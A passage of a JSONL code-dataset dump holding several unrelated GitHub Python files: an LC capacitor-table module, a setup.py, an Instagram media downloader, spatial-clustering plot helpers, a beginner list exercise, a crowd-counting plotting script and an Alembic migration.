2 ** 6\n >>> bc.index\n RangeIndex(start=0, stop=64, step=1)\n\n\n # columns のテスト\n >>> bc.columns\n Index([10, 20, 40, 80, 160, 320, 'CpF', 'fkHz'], dtype='object')\n\n # bc.array のテスト\n >>> bc.array[:5]\n array([[0, 0, 0, 0, 0, 0],\n [1, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0],\n [1, 1, 0, 0, 0, 0],\n [0, 0, 1, 0, 0, 0]])\n\n # # 2のn乗数列とかけて合計すると連番になる\n # >>> test_bin = [1, 2, 4, 8, 16, 32]\n # >>> sums = (bc.array * test_bin).sum(1)\n # >>> sums[:12]\n # array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])\n # >>> np.array_equal(sums, np.arange(2**n))\n # True\n\n\n # CpF のテスト\n >>> bl = bc.array[8]\n >>> bin2int(reversed(bl))\n 8\n >>> ar = np.arange(2**6)\n >>> test = np.array([bin2int(reversed(bl)) for bl in bc.array])\n >>> np.array_equal(test, ar)\n True\n\n # fkHz のテスト\n # 同調周波数とコンデンサからインダクタンスを逆算\n >>> j = 14\n >>> np.floor(1e3/(( 2*np.pi*bc.fkHz[j]*1e3 )**2 * bc.CpF[j]*1e-12))\n 100.0\n\n # === テストできないメソッド ===\n # >>> bc.dump(): すべての行列をプリント(省略しない)\n # >>> bc.to_csv(): 条件をパースしてファイル名を自動的にアサインしてcsvに保存\n \"\"\"\n super().__init__(binary_array(c_num))\n # Required\n self._c_res = c_res\n self._c_num = c_num\n self._lmh = lmh\n # Not required\n self._c_initial = c_initial\n self._c_para = c_para\n self._c_ser = c_ser\n\n # index & columns\n self.index = range(2**c_num)\n self.columns = c_list(c_initial, c_res, c_num)\n\n # binary array\n # UserWarning: Pandas doesn't allow columns to be created\n # via a new attribute name <- 仕方ないワーニングがでる\n # 「今後array列が作れなくなる副作用がある」という意味のワーニング\n self.array = self.iloc[:, :c_num].values # Do not use `bc['array']`\n\n # 合計コンデンサ列CpF & 同調周波数列fkHz\n self['CpF'] = c_para + (self.columns.values * self.array).sum(1)\n if c_ser != 0: # Evade 0 div warning\n self.CpF = 1 / ((1 / self.CpF) + (1 / c_ser))\n\n def resonance_freq(l, c):\n \"\"\"同調周波数を返すクロージャ\"\"\"\n return 1 / (2 * np.pi * np.sqrt(l * c))\n\n self['fkHz'] = resonance_freq(self._lmh * 1e-3,\n self.CpF * 1e-12) / 1000\n\n def to_csv(self, directory=os.getcwd(), sort: str = None, *args, **kwargs):\n \"\"\"save to csv.\n default current directory\n インスタンス化した際のパラメータをパースして、ファイル名を自動的に決める\n デフォルトではカレントディレクトリ下にファイルを保存する\n \"\"\"\n init = 'init' + str(self._c_initial)\n res = 'res' + str(self._c_res)\n pat = 'pat' + str(self._c_num)\n lmh = 'l' + str(self._lmh)\n\n # ドットをp(pointの意味)に変換(ファイルネームに.は紛らわしい)\n name = [s.replace('.', 'p') for s in (init, res, pat, lmh)]\n name.append('.csv')\n name.insert(0, '/')\n name.insert(0, directory)\n filename = ''.join(name)\n if sort:\n self.table.sort_values(sort).to_csv(filename, *args, **kwargs)\n else:\n self.table.to_csv(filename, *args, **kwargs)\n\n def channels(self, ix):\n \"\"\"self.tableの行数を引数に、ONにするビットフラグをリストで返す\n\n channles 1 2 3 4 5 6\n | | | | | |\n array([0, 1, 1, 0, 0, 0])\n\n >>> c_res, c_num , lmh, c_initial = 100, 6, 10, 0\n >>> bc = Lcbin(c_res, c_num, lmh, c_initial)\n >>> bc.channels(0)\n []\n\n >>> bc.channels(1)\n [1]\n\n >>> bc.channels(-1)\n [1, 2, 3, 4, 5, 6]\n\n >>> bc.channels(len(bc))\n Traceback (most recent call last):\n ...\n IndexError: index 64 is out of bounds for axis 0 with size 64\n\n >>> bc.channels(len(bc)-1)\n [1, 2, 3, 4, 5, 6]\n\n >>> bc.array[6]\n array([0, 1, 1, 0, 0, 0])\n >>> bc.channels(6)\n [2, 3]\n\n 2チャンネルと3チャンネルをONにしろ、という意味\n \"\"\"\n return [i for i, b in enumerate(self.array[ix], start=1) if b]\n\n\ndef dump(self):\n \"\"\"print all rows & columns\"\"\" \"\"\n with pd.option_context('display.max_rows', len(self), 'display.width', 0):\n display(self)\n\n\nsetattr(pd.DataFrame, 'dump', dump)\n# === わざわざsetattrしている理由 ===\n# sort_values()メソッド使った後にもdumpしたいので、\n# Lcbinだけでなく、pandas.DataFrameにメソッドを割り当てたい\n\n\ndef c_list(c_initial, c_res, c_num):\n \"\"\"Capacitance list\n >>> c_list(0, 10, 3)\n [10, 20, 40]\n >>> c_list(2,1,4)\n [3, 4, 6, 10]\n \"\"\"\n return [c_initial + c_res * 2**_c for _c in range(c_num)]\n\n\ndef int2bin(int_i: int, zero_pad: int) -> str:\n \"\"\"\n >>> int2bin(3, 4)\n '0011'\n >>> int2bin(5, 5)\n '00101'\n \"\"\"\n return '{:0{}b}'.format(int_i, zero_pad)\n\n\ndef bin2int(bc_array):\n \"\"\"テスト用関数(int2bin()の逆関数)\n >>> bin2int([0, 1, 1])\n 3\n >>> bin2int([0, 0, 1, 1])\n 3\n >>> bin2int([1, 1, 1, 1, 1])\n 31\n \"\"\"\n mp_str = map(str, bc_array)\n joined_str = ','.join(mp_str).replace(',', '')\n return int(joined_str, 2) # 2進数の2\n\n\ndef binary_array(c_num) -> np.ndarray:\n \"\"\"Binary Capacitance table\n インダクタンス容量からコンデンサのバイナリ\n 組み合わせテーブルを作成するpythonスクリプト\n\n usage:\n `Lcbin.array(c_res=5, c_num=9, lmh=39, c_initial=120)`\n コンデンサを9チャンネル用意し、\n 120pFのコンデンサから倍倍に9-1回増えて\n 最も大きい一つのコンデンサ容量が120 + 5*2**8=1400pF\n 接続するインダクタンスが39mHの場合\n 同調周波数が最高72kHz, 最低15kHz\n args:\n c_initial: Minimum Capacitance[pf](float)\n c_res: Resolution of capacitance[pf](float)\n c_num: Number of capacitance[uF](int)\n lmh: Indactance[mH](float)\n return:\n df: Binary table (pd.DataFrame)\n\n >>> binary_array(2)\n array([[0, 0],\n [1, 0],\n [0, 1],\n [1, 1]])\n\n >>> binary_array(3)\n array([[0, 0, 0],\n [1, 0, 0],\n [0, 1, 0],\n [1, 1, 0],\n [0, 0, 1],\n [1, 0, 1],\n [0, 1, 1],\n [1, 1, 1]])\n\n >>> binary_array(6)[0]\n array([0, 0, 0, 0, 0, 0])\n\n >>> binary_array(6)[-1]\n array([1, 1, 1, 1, 1, 1])\n\n >>> n = 10\n >>> binary_array(n).shape == (2**n, n)\n True\n \"\"\"\n # ':0{}b'.format(_i, c_num) <- c_numの数だけ0-paddingし、_iを二進数に変換する\n b_list = np.array([reversed(int2bin(_i, c_num)) for _i in range(2**c_num)])\n # b_list like...\n # array(['000000000000', '100000000000', '010000000000', ...,\n # '101111111111', '011111111111', '111111111111'], dtype='<U12')\n\n b_array = np.array([list(b) for b in b_list]).astype(int)\n # [1:] は0のみの行排除のため\n # b_array like...\n # [[0,0,1,...],\n # [1,0,1,...],\n # [1,1,1,...]]\n return b_array\n\n\ndef main(argv):\n \"\"\"call from shell function\"\"\"\n if len(argv) > 1:\n lc_args = [\n float(argv[1]), # c_res\n int(argv[2]), # c_num\n float(argv[3]), # lmh\n float(argv[4]), # c_initial\n float(argv[5]), # c_para\n float(argv[6]), # c_ser\n ]\n Lcbin(*lc_args).dump()\n return '' # for chomp last 'None' word\n return Lcbin.__init__.__doc__\n\n\nif __name__ == '__main__':\n import sys\n if 'debug' in sys.argv:\n import doctest\n doctest.testmod()\n else:\n print(main(sys.argv))\n","repo_name":"u1and0/sana","sub_path":"lcbin.py","file_name":"lcbin.py","file_ext":"py","file_size_in_byte":11263,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"1431715427","text":"\nfrom setuptools import setup, find_packages\nfrom booker.core.version import get_version\n\nVERSION = get_version()\n\nf = open('README.md', 'r')\nLONG_DESCRIPTION = f.read()\nf.close()\n\nsetup(\n name='booker',\n version=VERSION,\n description='Application for calculating book pages for printing',\n long_description=LONG_DESCRIPTION,\n long_description_content_type='text/markdown',\n author='John Doe',\n author_email='john.doe@example.com',\n url='https://github.com/Zzetetic/booker/',\n license='gpl3',\n packages=find_packages(exclude=['ez_setup', 'tests*']),\n package_data={'booker': ['templates/*']},\n include_package_data=True,\n entry_points=\"\"\"\n [console_scripts]\n booker = booker.main:main\n \"\"\",\n)\n","repo_name":"Zzetetic/booker","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23456278729","text":"from time import time\r\nfrom sys import argv\r\nimport requests\r\nimport shutil\r\nimport json\r\nimport re\r\n\r\ndef writeToFile(filename, filecontent):\r\n with open(filename, \"wb\") as f:\r\n filecontent.raw.decode_content = True\r\n shutil.copyfileobj(filecontent.raw, f)\r\n\r\n return\r\n\r\njsonPattern = re.compile('(?:<script type=\"text\\/javascript\">window\\._sharedData *= *)(.*)(?:; *<\\/script>)')\r\nt0 = time()\r\n\r\nif len(argv) < 2:\r\n print(\" Usage: python3 {} (url_1) [url_2] ... [url_n]\".format(argv[0]))\r\n exit()\r\n\r\nurls = [url.rstrip(\"/\") for url in argv[1:]]\r\nmediaAmt = len(urls)\r\n\r\nerrors = []\r\n\r\nfor i, url in enumerate(urls):\r\n mediaCode = url.split(\"/\")[-1]\r\n\r\n if \"/\" not in url:\r\n url = \"https://www.instagram.com/p/\" + url\r\n\r\n print(\"[{}/{}] {}\".format(i+1, mediaAmt, mediaCode))\r\n \r\n # Get HTML\r\n response = requests.get(url)\r\n if response.status_code != 200:\r\n print(\" [ERROR] {} ({})\".format(response.status_code, url))\r\n errors.append(url)\r\n continue\r\n\r\n # Get window._sharedData from HTML\r\n try:\r\n match = re.search(jsonPattern, response.text)\r\n jsonObject = match.group(1)\r\n jsonObject = json.loads(jsonObject)\r\n except Exception as e:\r\n print(\" [ERROR] JSON ({})\".format(e))\r\n errors.append(url)\r\n continue\r\n\r\n # Handle multiple pictures/videos\r\n media = jsonObject[\"entry_data\"][\"PostPage\"][0][\"graphql\"][\"shortcode_media\"]\r\n if \"edge_sidecar_to_children\" in media:\r\n media = [m[\"node\"] for m in media[\"edge_sidecar_to_children\"][\"edges\"]]\r\n else:\r\n media = [media]\r\n\r\n # Download all files\r\n subMediaAmt = len(media)\r\n for i, m in enumerate(media):\r\n subMediaCode = m[\"shortcode\"]\r\n url = m[\"video_url\"] if m[\"is_video\"] else m[\"display_url\"]\r\n\r\n filename = url.split(\"?\")[0].split(\"/\")[-1]\r\n fileContent = requests.get(url, stream=True)\r\n\r\n writeToFile(filename, fileContent)\r\n print(\" [{}/{}] {} ({})\".format(i+1, subMediaAmt, subMediaCode, filename))\r\n\r\nprint()\r\nprint(\"{}/{} URLs successfully downloaded in {:.2f}s.\".format(len(urls)-len(errors), len(urls), time()-t0))\r\nif errors:\r\n print(\"Errors (e.g. connection error, private account):\".format(len(errors)))\r\n for error in errors:\r\n print(\" {}\".format(error))","repo_name":"fanxy121/instagram-bulk-downloader","sub_path":"instagram-bulk-dl.py","file_name":"instagram-bulk-dl.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71893813209","text":"\"\"\"\nVisualization functions for smoother.models.deconv\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport scanpy as sc\nimport anndata as ad\nfrom skbio.stats.composition import clr, ilr\nfrom scipy.optimize import linear_sum_assignment\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom plotnine import *\n\ndef plot_celltype_props(p_inf, coords, cell_type_names = None, n_col = 4, figsize = None):\n\t\"\"\"Plot the deconvolution results.\n\n\tArgs:\n\t\tp_inf: n_spots x n_groups. The inferred cell-type proportions.\n\t\tcoords: n_spots x 2. The coordinates of the spots.\n\t\tcell_type_names: list of str. The names of the cell types.\n\t\tn_col: int. The number of columns in the figure.\n\t\tfigsize: tuple. The size of the figure.\n\t\"\"\"\n\tif cell_type_names is None:\n\t\tcell_type_names = [f\"Cell type {i}\" for i in range(p_inf.shape[1])]\n\n\tif isinstance(p_inf, pd.DataFrame):\n\t\tp_inf = p_inf.to_numpy()\n\n\t# set figure configurations\n\tassert len(cell_type_names) == p_inf.shape[1]\n\tn_row = int(np.ceil(p_inf.shape[1] / n_col))\n\tif n_col > len(cell_type_names):\n\t\tn_col = p_inf.shape[1]\n\n\tif figsize is None:\n\t\tfigsize = (4 * n_col, 4 * n_row)\n\n\t# plot the results\n\tfig, axes = plt.subplots(n_row, n_col, figsize = figsize)\n\n\t# iterate through each cell type\n\tfor ind, (name, ax) in enumerate(zip(cell_type_names, axes.flatten())):\n\t\tax.set_title(f\"{name}\")\n\t\tp = ax.scatter(coords.iloc[:, 0], coords.iloc[:,1], c = p_inf[:, ind], s = 0.5)\n\n\t\t# add colorbar\n\t\tdivider = make_axes_locatable(ax)\n\t\tcax = divider.append_axes('right', size='5%', pad=0.05)\n\t\tfig.colorbar(p, cax=cax, orientation = 'vertical')\n\n\t\tax.set_xticks([])\n\t\tax.set_yticks([])\n\t\tax.set_facecolor('black')\n\n\tplt.show()\n\n\ndef clr_stable(props, epsilon = 1e-8):\n\t\"\"\"Apply centre log ratio transform (clr) to transform proportions to the real space.\n\n\tArgs:\n\t\tprops: n_spots x n_groups. Rowsum equals to 1 or 0. If 0, the transformed vector\n\t\t\twill also be the zero vector.\n\t\"\"\"\n\treturn clr(props + epsilon)\n\ndef ilr_stable(props, epsilon = 1e-8):\n\t\"\"\"Apply isometric log ratio transformation (ilr) to transform proportions to the real space.\"\"\"\n\treturn ilr(props + epsilon)\n\ndef cluster_features(features, transform = 'pca',\n\t\t\t\t\t n_neighbors = 15, res = 1) -> pd.Series:\n\t\"\"\"Leiden clustering on the input features.\"\"\"\n\n\t# create temporary adata to calculate the clustering\n\t# features: n_spots x n_groups\n\tif isinstance(features, pd.DataFrame):\n\t\tfeatures = features.to_numpy()\n\telif isinstance(features, torch.Tensor):\n\t\tfeatures = features.numpy()\n\n\tfeatures = features.copy()\n\n\n\tassert transform in ['pca', 'clr', 'ilr']\n\tif transform == 'clr':\n\t\tadata = ad.AnnData(clr_stable(features), dtype = np.float64)\n\t\tsc.pp.neighbors(adata, n_neighbors=n_neighbors, use_rep='X')\n\telif transform == 'ilr':\n\t\tadata = ad.AnnData(ilr_stable(features), dtype = np.float64)\n\t\tsc.pp.neighbors(adata, n_neighbors=n_neighbors, use_rep='X')\n\telse:\n\t\tadata = ad.AnnData(features, dtype = np.float64)\n\t\t# run pca\n\t\tsc.pp.scale(adata)\n\t\tsc.pp.pca(adata, n_comps=min(20, features.shape[1] - 1))\n\t\tsc.pp.neighbors(adata, n_neighbors=n_neighbors)\n\n\t# perform leiden clustering\n\tsc.tl.leiden(adata, resolution=res)\n\n\treturn adata.obs[\"leiden\"]\n\n\ndef _get_cost_matrix(clu1, clu2):\n\t\"\"\"Helper function to get the cost matrix for aligning two clusterings.\"\"\"\n\tn_clu1 = len(clu1.unique())\n\tn_clu2 = len(clu2.unique())\n\tcm = np.zeros((n_clu1, n_clu2))\n\n\t# calculate cost as the number of spots that were not assigned\n\t# to the same cluster in the two clustering results\n\tfor i in range(n_clu1):\n\t\tclu_ind = (clu1 == str(i))\n\t\tfor j in range(n_clu2):\n\t\t\tcm[i, j] = -(clu2[clu_ind] == str(j)).sum()\n\treturn cm\n\n\ndef align_clusters(clu_list, ref_ind = None):\n\t\"\"\"Align the clusterings in clu_list to the reference clustering.\n\n\tArgs:\n\t\tclu_list: list of clustering result.\n\t\tref_ind: int. The index of the reference clustering. If None,\n\t\t\tuse the clustering with the largest number of clusters.\n\t\"\"\"\n\tn_clu_list = [len(clu.unique()) for clu in clu_list]\n\tif ref_ind == None:\n\t\tref_ind = np.argmax(n_clu_list)\n\n\tclu_aligned_list = []\n\tfor i, clu in enumerate(clu_list):\n\t\tif i == ref_ind:\n\t\t\tclu_aligned_list.append(clu)\n\t\telse:\n\t\t\t# set random seed for reproducibility\n\t\t\tnp.random.seed(0)\n\n\t\t\t# align the current clustering to the reference clustering\n\t\t\tcm = _get_cost_matrix(clu, clu_list[ref_ind])\n\t\t\t_, col_ind = linear_sum_assignment(cm)\n\n\t\t\t# rename the categories\n\t\t\tclu_aligned_list.append(\n\t\t\t\tclu.cat.rename_categories(col_ind).astype(str)\n\t\t\t)\n\n\treturn clu_aligned_list, ref_ind\n\n\ndef plot_spatial_clusters(clu_aligned_list, coords, names = None, n_col = 4):\n\t\"\"\"Plot clusters.\n\n\tArgs:\n\t\tclu_aligned_list: list of aligned clusterings.\n\t\tcoords: n_spots x 2. Coordinates of the spots.\n\t\tnames: list of str. Names of the deconvolution model.\n\t\tn_col: int. Number of columns in the plot.\n\t\"\"\"\n\tif names is None:\n\t\tnames = [f'Cluster {i}' for i in range(len(clu_aligned_list))]\n\n\tif isinstance(coords, pd.DataFrame):\n\t\tcoords = coords.values\n\n\tclu_aligned_arr = np.stack(clu_aligned_list, axis = 1)\n\tdf_clu_aligned = pd.DataFrame(clu_aligned_arr, columns = names)\n\tdf_clu_aligned = pd.concat([pd.DataFrame(coords, columns = ['x', 'y']), df_clu_aligned], axis = 1)\n\tdf_clu_aligned = pd.melt(df_clu_aligned, id_vars=['x', 'y'], var_name = 'Method', value_name = 'Cluster')\n\tdf_clu_aligned['Method'] = df_clu_aligned['Method'].astype('category')\n\tdf_clu_aligned['Method'] = df_clu_aligned['Method'].cat.reorder_categories(names)\n\n\t# plot the results\n\tp = (\n\t\tggplot(df_clu_aligned, aes(x = 'x', y = 'y', fill = 'Cluster')) +\n\t\tfacet_wrap('Method', ncol=n_col) +\n\t\tgeom_tile() +\n\t\ttheme_void()\n\t)\n\n\treturn p\n\n\ndef cluster_and_plot_celltype_props(p_inf_list, coords, names = None, n_col = 4,\n\t\t\t\t\t\t\t\t\ttransform = 'pca', n_neighbors = 15, res = 1,\n\t\t\t\t\t\t\t\t\treturn_clu = False):\n\t\"\"\"Cluster the cell-type proportions and visualize the results.\n\n\tArgs:\n\t\tp_inf_list: list of cell-type proportions.\n\t\tcoords: n_spots x 2. Coordinates of the spots.\n\t\tnames: list of str. Names of the deconvolution model.\n\t\ttransform: str. Transformation to apply to the cell-type proportions.\n\t\t\t'pca', 'clr', 'ilr'.\n\t\tn_neighbors: int. Number of neighbors to use for clustering.\n\t\tres: float. Resolution for leiden clustering.\n\t\treturn_clu: bool. Whether to return the clustering results.\n\t\"\"\"\n\n\tif names is None:\n\t\tnames = [f'Cluster {i}' for i in range(len(p_inf_list))]\n\n\tif isinstance(coords, pd.DataFrame):\n\t\tcoords = coords.values\n\n\t# cluster cell type proportions\n\tclu_inf_list = [\n\t\tcluster_features(p_inf, transform = transform, n_neighbors=n_neighbors, res = res)\n\t\tfor p_inf in p_inf_list\n\t]\n\t# align the clustering results\n\tclu_aligned_list, _ = align_clusters(clu_inf_list)\n\n\t# plot the results\n\tp = plot_spatial_clusters(clu_aligned_list, coords, names = names, n_col = n_col)\n\n\tif return_clu:\n\t\treturn p, clu_aligned_list\n\n\treturn p","repo_name":"JiayuSuPKU/Smoother","sub_path":"smoother/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37196145060","text":"import abc\n\n\nlista=[]\npalabra=input(\"Introduce una palabra: \")\n\nwhile palabra !=\" \":\n lista.append(palabra)\n palabra=input(\"Introduce una palabra: \")\n\npalabra_buscar=input(\"Introduce la palabra a buscar: \")\npalabra_sustituir=input(\"Introduce la palabra a reemplazar: \")\n\nposicion=0\n\nfor palabras in lista:\n if palabra_buscar==palabras:\n lista[posicion]=palabra_sustituir\n posicion*=1\n\nfor palabras in lista:\n print(palabras, end=\" \")\nprint()\n","repo_name":"Pacodiz02/Python_Ejercicios","sub_path":"LISTAS/Bol2_Ejer1.py","file_name":"Bol2_Ejer1.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30447483814","text":"from __future__ import division\nimport warnings\nimport torch.nn as nn\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torchvision import transforms\nimport dataset\nimport math\nfrom utils import save_checkpoint, setup_seed\nimport torch\nimport os\nimport logging\nimport nni\nimport numpy as np\nfrom nni.utils import merge_parameter\nfrom config import return_args, args\nfrom Networks.Shunted.shunted_models import base_patch4_384_gap\nfrom Networks.DSFormer import *\nfrom image import load_data\nimport matplotlib.pyplot as plt\n\nwarnings.filterwarnings('ignore')\nimport time\n\nsetup_seed(args.seed)\n\nlogger = logging.getLogger('mnist_AutoML')\n\n\ndef main(args):\n if args['dataset'] == 'ShanghaiA':\n train_file = './npydata/ShanghaiA_train.npy'\n test_file = './npydata/ShanghaiA_test.npy'\n elif args['dataset'] == 'ShanghaiB':\n train_file = './npydata/ShanghaiB_train.npy'\n test_file = './npydata/ShanghaiB_test.npy'\n elif args['dataset'] == 'UCF_QNRF':\n train_file = './npydata/ucf_qnrf_train.npy'\n test_file = './npydata/ucf_qnrf_test.npy'\n elif args['dataset'] == 'JHU':\n train_file = './npydata/jhu_train.npy'\n test_file = './npydata/jhu_val.npy'\n elif args['dataset'] == 'NWPU':\n train_file = './npydata/nwpu_train.npy'\n test_file = './npydata/nwpu_val.npy'\n\n with open(train_file, 'rb') as outfile:\n train_list = np.load(outfile).tolist()\n with open(test_file, 'rb') as outfile:\n val_list = np.load(outfile).tolist()\n\n print(len(train_list), len(val_list))\n\n os.environ['CUDA_VISIBLE_DEVICES'] = args['gpu_id']\n\n val_data = pre_data(train_list, args, train=True)\n # test_data = pre_data(val_list, args, train=False)\n train_label_list = []\n for j in range(len(train_list)):\n train_label_list.append(val_data[j]['gt_count'])\n print(train_label_list)\n density_list = density_level_classify_plot(train_label_list)\n print(density_list)\n wts = get_classifier_weights(density_list)\n print(wts)\n x = np.linspace(100, 1000, 10)\n x = [str(a) for a in x]\n y = density_level_classify_plot(train_label_list)\n plt.xlabel('Density of images')\n plt.ylabel('Number')\n plt.title('Figs When PCC')\n plt.bar(x, y, width=0.8, bottom=None, align='center', data=None, )\n plt.show()\n\n\ndef pre_data(train_list, args, train):\n print(\"Pre_load dataset ......\")\n data_keys = {}\n count = 0\n for j in range(len(train_list)):\n Img_path = train_list[j]\n fname = os.path.basename(Img_path)\n img, gt_count = load_data(Img_path, args, train)\n\n blob = {}\n blob['img'] = img\n blob['gt_count'] = gt_count\n blob['fname'] = fname\n data_keys[count] = blob\n count += 1\n\n '''for debug'''\n # if j> 10:\n # break\n return data_keys\n\n\ndef train(Pre_data, model, criterion, density_classify_loss, optimizer, epoch, args, scheduler):\n losses = AverageMeter()\n batch_time = AverageMeter()\n data_time = AverageMeter()\n\n train_loader = torch.utils.data.DataLoader(\n dataset.listDataset(Pre_data, args['save_path'],\n shuffle=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ]),\n train=True,\n batch_size=args['batch_size'],\n num_workers=args['workers'],\n args=args),\n batch_size=args['batch_size'], drop_last=False)\n args['lr'] = optimizer.param_groups[0]['lr']\n print('epoch %d, processed %d samples, lr %.10f' % (epoch, epoch * len(train_loader.dataset), args['lr']))\n\n model.train()\n end = time.time()\n\n for i, (fname, img, gt_count) in enumerate(train_loader):\n\n data_time.update(time.time() - end)\n img = img.cuda()\n out1, out2 = model(img)\n gt_count = gt_count.type(torch.FloatTensor).cuda().unsqueeze(1)\n gt_density_level = np.array(density_level_classify(gt_count.cpu())).astype(float)\n gt_density_level = torch.from_numpy(gt_density_level).type(torch.FloatTensor).cuda()\n # print(out1.shape, kpoint.shape)\n\n loss1 = criterion(out1, gt_count)\n out2 = torch.sigmoid(out2)\n loss2 = density_classify_loss(out2, gt_density_level.type(torch.FloatTensor).cuda())\n loss2_lamda = 0.1\n loss = loss1 + loss2_lamda * loss2\n losses.update(loss.item(), img.size(0))\n\n optimizer.zero_grad()\n\n loss.backward()\n\n optimizer.step()\n\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % args['print_freq'] == 0:\n print('4_Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n .format(\n epoch, i, len(train_loader), batch_time=batch_time,\n data_time=data_time, loss=losses))\n scheduler.step()\n\n\ndef validate(Pre_data, model, args):\n print('begin test')\n batch_size = 1\n test_loader = torch.utils.data.DataLoader(\n dataset.listDataset(Pre_data, args['save_path'],\n shuffle=False,\n transform=transforms.Compose([\n transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n\n ]),\n args=args, train=False),\n batch_size=1)\n\n model.eval()\n\n mae = 0.0\n mse = 0.0\n visi = []\n index = 0\n for i, (fname, img, gt_count) in enumerate(test_loader):\n\n img = img.cuda()\n if len(img.shape) == 5:\n img = img.squeeze(0)\n if len(img.shape) == 3:\n img = img.unsqueeze(0)\n with torch.no_grad():\n\n out1, out2 = model(img)\n count = torch.sum(out1).item()\n\n gt_count = torch.sum(gt_count).item()\n mae += abs(gt_count - count)\n mse += abs(gt_count - count) * abs(gt_count - count)\n\n if i % 15 == 0:\n print('{fname} Gt {gt:.2f} Pred {pred}'.format(fname=fname[0], gt=gt_count, pred=count))\n\n mae = mae * 1.0 / (len(test_loader) * batch_size)\n mse = math.sqrt(mse / (len(test_loader)) * batch_size)\n\n nni.report_intermediate_result(mae)\n print(' \\n* MAE {mae:.3f}\\n'.format(mae=mae), '* MSE {mse:.3f}'.format(mse=mse))\n\n return mae\n\n\ndef get_classifier_weights(density_list):\n wts = torch.tensor(density_list)\n wts = 1 - wts / (sum(wts))\n wts = wts / sum(wts)\n return wts\n\n\n# 0~3000 长尾分布\n# 1.统计SHHA数据集各阶段人群数量分布 尽量平缓 参考PCCNet的分类方式\ndef density_level_classify(count):\n total_res = []\n for i in range(len(count)):\n res = []\n img_area = 384 * 384\n max_count = 383 / img_area\n t = count[i] / img_area / max_count\n t = int(min(t, 9))\n for j in range(10):\n if t == j:\n res.append(1)\n else:\n res.append(0)\n total_res.append(res)\n return total_res\n\n\n# [55, 68, 27, 10, 6, 11, 2, 2, 0, 1]\ndef density_level_classify_plot(count):\n total_res = []\n count = np.array(count)\n area = 384 * 384\n print(max(count))\n print(min(count))\n gt_mid_count = (max(count) - min(count))\n mid_val = gt_mid_count / area / 10\n count = [int(a) for a in count]\n for i in range(10):\n total_res.append(0)\n for i in range(len(count)):\n t = count[i] / area / mid_val\n t = int(min(t, 9))\n total_res[t] += 1\n\n return total_res\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\nif __name__ == '__main__':\n tuner_params = nni.get_next_parameter()\n logger.debug(tuner_params)\n params = vars(merge_parameter(return_args, tuner_params))\n print(params)\n\n main(params)\n","repo_name":"ZaiyiHu/DSFormer","sub_path":"plotlabels.py","file_name":"plotlabels.py","file_ext":"py","file_size_in_byte":8638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13440074661","text":"\"\"\"Some columns not nullable in access log\n\nRevision ID: 84e421577a1a\nRevises: e645774b4c62\nCreate Date: 2023-03-17 13:15:51.493867\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"84e421577a1a\"\ndown_revision = \"e645774b4c62\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n\n op.execute(sa.text(\"UPDATE access_log SET request_duration = 0.0 WHERE request_duration IS NULL\"))\n op.execute(sa.text(\"UPDATE access_log SET request_bytes = 0.0 WHERE request_bytes IS NULL\"))\n op.execute(sa.text(\"UPDATE access_log SET response_bytes = 0.0 WHERE response_bytes IS NULL\"))\n\n op.alter_column(\"access_log\", \"request_duration\", existing_type=sa.DOUBLE_PRECISION(precision=53), nullable=False)\n op.alter_column(\"access_log\", \"request_bytes\", existing_type=sa.BIGINT(), nullable=False)\n op.alter_column(\"access_log\", \"response_bytes\", existing_type=sa.BIGINT(), nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\"access_log\", \"response_bytes\", existing_type=sa.BIGINT(), nullable=True)\n op.alter_column(\"access_log\", \"request_bytes\", existing_type=sa.BIGINT(), nullable=True)\n op.alter_column(\"access_log\", \"request_duration\", existing_type=sa.DOUBLE_PRECISION(precision=53), nullable=True)\n # ### end Alembic commands ###\n","repo_name":"MolSSI/QCFractal","sub_path":"qcfractal/qcfractal/alembic/versions/2023-03-17-84e421577a1a_some_columns_not_nullable_in_access_log.py","file_name":"2023-03-17-84e421577a1a_some_columns_not_nullable_in_access_log.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"31"} +{"seq_id":"36976880553","text":"#!/bin/env python3\n\nimport os.path\nimport gemmi\nimport 